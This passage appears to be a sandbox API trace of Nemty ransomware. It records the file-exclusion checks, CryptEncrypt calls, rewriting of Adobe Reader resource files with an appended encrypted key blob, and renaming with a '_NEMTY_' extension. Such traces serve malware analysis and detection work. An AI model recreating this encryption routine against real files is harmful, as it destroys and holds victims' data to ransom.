dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="fin49.lex", cAlternateFileName="")) returned 1 [0217.515] lstrcmpiW (lpString1="fin49.lex", lpString2=".") returned 1 [0217.515] lstrcmpiW (lpString1="fin49.lex", lpString2="..") returned 1 [0217.515] lstrcmpiW (lpString1="fin49.lex", lpString2="...") returned 1 [0217.515] lstrcmpiW (lpString1="fin49.lex", lpString2="windows") returned -1 [0217.515] lstrcmpiW (lpString1="fin49.lex", lpString2="$RECYCLE.BIN") returned 1 [0217.515] lstrcmpiW (lpString1="fin49.lex", lpString2="rsa") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="NTDETECT.COM") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="ntldr") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="MSDOS.SYS") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="IO.SYS") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="boot.ini") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="boot.ini") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="AUTOEXEC.BAT") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="ntuser.dat") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="desktop.ini") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="CONFIG.SYS") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="RECYCLER") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="BOOTSECT.BAK") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="bootmgr") returned 1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="programdata") returned -1 [0217.516] lstrcmpiW (lpString1="fin49.lex", lpString2="appdata") returned 1 [0217.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin49.lex", lpUsedDefaultChar=0x0) returned 9 [0217.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin49.lex", lpUsedDefaultChar=0x0) returned 9 [0217.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin49.lex", lpUsedDefaultChar=0x0) returned 9 [0217.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin49.lex", lpUsedDefaultChar=0x0) returned 9 [0217.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.516] Sleep (dwMilliseconds=0x5) [0217.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354ac850, dwHighDateTime=0x1d561e8)) [0217.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354ac850, dwHighDateTime=0x1d561e8)) [0217.524] GetLastError () returned 0x0 [0217.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.524] GetLastError () returned 0x0 [0217.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.525] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.525] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.525] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.525] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="go0dW7SmNzy73bSlcYPqVzL7NWnQKmQ3gc0eqAMtkD8JnZi+OoX6ToabZVopMBTW\r\nb4SnwokMpg9hr9Lk0q6YDPBrt1xnoeM2ZfhQ4h8MX0nbvVmG/kNvx6PQYJlkz7Ar\r\nQaF6dxfiHsR6TpsHAu/rOe1Yg4cMaJQQk0iReEzO5VBamEP4UZzENbU0yg3axWlx\r\ndjt7HcFZBQAgUFTpzJ3h40+tfp/ODclZZEKyUISHa7Oubodx9vTQjm1h87zJA6N+\r\n8o4aWDgQfQBvi1koK9TdW68w+QyrM4sk1rMb9ct00go3I0QU1UwAUm6O5yNSXhbz\r\nKqwYGKD+4fK2FYA/HvcxTA==\r\n", pcchString=0x653df5c) returned 1 [0217.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin49.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin49.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.525] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=676864) returned 1 [0217.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.526] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.526] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.537] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.537] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.538] SetFilePointer (in: hFile=0x320, lDistanceToMove=676864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa5400 [0217.538] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.539] CloseHandle (hObject=0x320) returned 1 [0217.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.540] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin49.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin49.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin49.lex._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin49.lex._nemty_kgobjgd_")) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.541] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd4d, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="finphon.env", cAlternateFileName="")) returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2=".") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="..") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="...") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="windows") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="$RECYCLE.BIN") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="rsa") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="NTDETECT.COM") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="ntldr") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="MSDOS.SYS") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="IO.SYS") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="boot.ini") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="boot.ini") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="AUTOEXEC.BAT") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="ntuser.dat") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="desktop.ini") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="CONFIG.SYS") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="RECYCLER") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="BOOTSECT.BAK") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="bootmgr") returned 1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="programdata") returned -1 [0217.541] lstrcmpiW (lpString1="finphon.env", lpString2="appdata") returned 1 [0217.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="finphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="finphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="finphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="finphon.env", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="finphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.542] Sleep (dwMilliseconds=0x5) [0217.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354f8b10, dwHighDateTime=0x1d561e8)) [0217.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354f8b10, dwHighDateTime=0x1d561e8)) [0217.555] GetLastError () returned 0x0 [0217.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.555] GetLastError () returned 0x0 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.556] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.556] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="ffgLU4VS+q51K0TfeauOfbgfaYtW+dgmu0evgLu/KU5htnjUSkWEDkqejtCVw8Mp\r\nUSPHvwGC1kG6olHU0aujQs2k0h/COepjpcqPFbv7ntcsrXEeq3RLJafeB1U9k8I7\r\ngNaSYgPQK0i31PLAqNWtMBJsPl/5IDDO800dFsZ8IvGEzVPLpxF/hsj+FnNhEz6C\r\nxurxOT9hsgVpNCX+mq3siO9oDdd/tC6BD4FjFzcmmtwP9yRAE9yfyun6G+lrMu4h\r\ntbjjNK99XQGqckrbPtvycBFKMioVqcOVgxW2rRfBPCPi+zGZ1bH24sKtvYLajEJq\r\nO4bO4genmp91UUiiKzN0Pw==\r\n", pcchString=0x653df5c) returned 1 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.557] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=3405) returned 1 [0217.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd40) returned 0x634ad48 [0217.557] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.557] ReadFile (in: hFile=0x320, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xd40, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e1a4*=0xd40, lpOverlapped=0x0) returned 1 [0217.558] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.558] WriteFile (in: hFile=0x320, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e19c*=0xd40, lpOverlapped=0x0) returned 1 [0217.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0217.559] SetFilePointer (in: hFile=0x320, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0217.559] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.559] CloseHandle (hObject=0x320) returned 1 [0217.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.559] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\finphon.env._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\finphon.env._nemty_kgobjgd_")) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 